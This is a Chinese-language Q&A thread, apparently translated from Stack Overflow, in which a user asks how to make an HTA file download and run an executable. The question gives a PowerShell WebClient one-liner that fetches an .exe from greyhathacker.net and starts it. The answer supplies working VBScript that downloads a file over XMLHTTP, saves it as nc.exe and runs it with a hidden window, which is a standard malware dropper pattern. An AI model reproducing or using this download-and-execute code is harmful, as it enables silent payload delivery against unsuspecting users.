使用 HTA 下载并执行

Question

我试图使用hta下载并打开文件。

我尝试了以下代码，但没有运气。

<script>
a=new ActiveXObject("WScript.Shell");
run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'",vbNormalFocus)
</script>

有人可以帮忙做一些好
事吗感谢。

我收到以下错误。脚本错误图像

当我单击"是"时，它只显示一个空白的 hta 控制台。

Answer 1

为什么不使用普通的 Get/Post 请求，保存文件然后执行它？

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set Shell = CreateObject("shell.application") 
URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
Params = "-param1 -param2" 'Command to run after downloading
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
Shell.ShellExecute FILENAME , Params , "" , "" , 0

从 http://www.mikemurr.com/vbscript-download-and-execute-file/那里获得了大部分代码有一些更改，因为HTA不是纯粹的vbscript。